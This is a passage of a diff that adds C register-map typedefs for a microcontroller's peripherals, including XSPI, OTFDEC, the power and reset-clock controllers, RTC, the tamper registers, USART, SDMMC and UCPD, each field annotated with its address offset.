Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ + uint32_t RESERVED22[3]; /*!< Reserved, Address offset: 0x204-0x20C */ + __IO uint32_t CALFCR; /*!< XSPI Full-cycle calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x210 */ + uint32_t RESERVED23; /*!< Reserved, Address offset: 0x214 */ + __IO uint32_t CALMR; /*!< XSPI DLL master calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x218 */ + uint32_t RESERVED24; /*!< Reserved, Address offset: 0x21C */ + __IO uint32_t CALSOR; /*!< XSPI slave output calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x220 */ + uint32_t RESERVED25; /*!< Reserved, Address offset: 0x224 */ + __IO uint32_t CALSIR; /*!< XSPI slave input calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x228 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +typedef XSPI_TypeDef HSPI_TypeDef; + +/** + * @brief OTFDEC register + */ +typedef struct +{ + __IO uint32_t REG_CONFIGR; /*!< OTFDEC Region Configuration register, Address offset: 0x20 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_START_ADDR; /*!< OTFDEC Region Start Address register, Address offset: 0x24 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_END_ADDR; /*!< OTFDEC Region End Address register, Address offset: 0x28 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER0; /*!< OTFDEC Region Nonce register 0, Address offset: 0x2C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER1; /*!< OTFDEC Region Nonce register 1, Address offset: 0x30 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR0; /*!< OTFDEC Region Key register 0, Address offset: 0x34 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR1; /*!< OTFDEC Region Key register 1, Address offset: 0x38 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR2; /*!< OTFDEC Region Key register 2, Address offset: 0x3C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR3; /*!< OTFDEC Region Key register 3, Address offset: 0x40 + 0x30 * (x -1) (x = 1 to 4) */ +} OTFDEC_Region_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< OTFDEC Control register, Address offset: 0x000 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x004-0x00C */ + __IO uint32_t PRIVCFGR; /*!< OTFDEC Privileged access control Configuration register, Address offset: 0x010 */ + uint32_t RESERVED2[187]; /*!< Reserved, Address offset: 0x014-0x2FC */ + __IO uint32_t ISR; /*!< OTFDEC Interrupt Status register, Address offset: 0x300 */ + __IO uint32_t ICR; /*!< OTFDEC Interrupt Clear register, Address offset: 0x304 */ + __IO uint32_t IER; /*!< OTFDEC Interrupt Enable register, Address offset: 0x308 */ +} OTFDEC_TypeDef; + + +/** + * @brief Serial Peripheral Interface IO Manager + */ +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPIM IO Manager Control register, Address offset: 0x00 */ + __IO uint32_t PCR[8]; /*!< OCTOSPIM IO Manager Port[1:8] Configuration register, Address offset: 0x04-0x20 */ +} XSPIM_TypeDef; + +typedef XSPIM_TypeDef OCTOSPIM_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Power USB Type-C and Power Delivery register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + __IO uint32_t PUCRF; /*!< Power Port F pull-up control register, Address offset: 0x78 */ + __IO uint32_t PDCRF; /*!< Power Port F pull-down control register, Address offset: 0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ + __IO uint32_t PUCRI; /*!< Power Port I pull-up control register, Address offset: 0x90 */ + __IO uint32_t PDCRI; /*!< Power Port I pull-down control register, Address offset: 0x94 */ + __IO uint32_t PUCRJ; /*!< Power Port J pull-up control register, Address offset: 0x98 */ + __IO uint32_t PDCRJ; /*!< Power Port J pull-down control register, Address offset: 0x9C */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x0A0-0x0A4 */ + __IO uint32_t CR4; /*!< Power power control register 4, Address offset: 0xA8 */ + __IO uint32_t CR5; /*!< Power power control register 5, Address offset: 0xAC */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ + uint32_t RESERVED2[17]; /*!< RESERVED2, Address offset: 0x30 - 0x70 */ + __IO uint32_t OTGHSPHYCR; /*!< SYSCFG USB OTG_HS PHY register Address offset: 0x74 */ + uint32_t RESERVED3; /*!< RESERVED3, Address offset: 0x78 */ + __IO uint32_t OTGHSPHYTUNER2; /*!< SYSCFG USB OTG_HS PHY tune register 2 Address offset: 0x7C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ +} UCPD_TypeDef; + +/** + * @brief USB_OTG_Core_register + */ +typedef struct +{ + __IO uint32_t GOTGCTL; /*!< USB_OTG Control and Status Register, Address offset: 000h */ + __IO uint32_t GOTGINT; /*!< USB_OTG Interrupt Register, Address offset: 004h */ + __IO uint32_t GAHBCFG; /*!< Core AHB Configuration Register, Address offset: 008h */ + __IO uint32_t GUSBCFG; 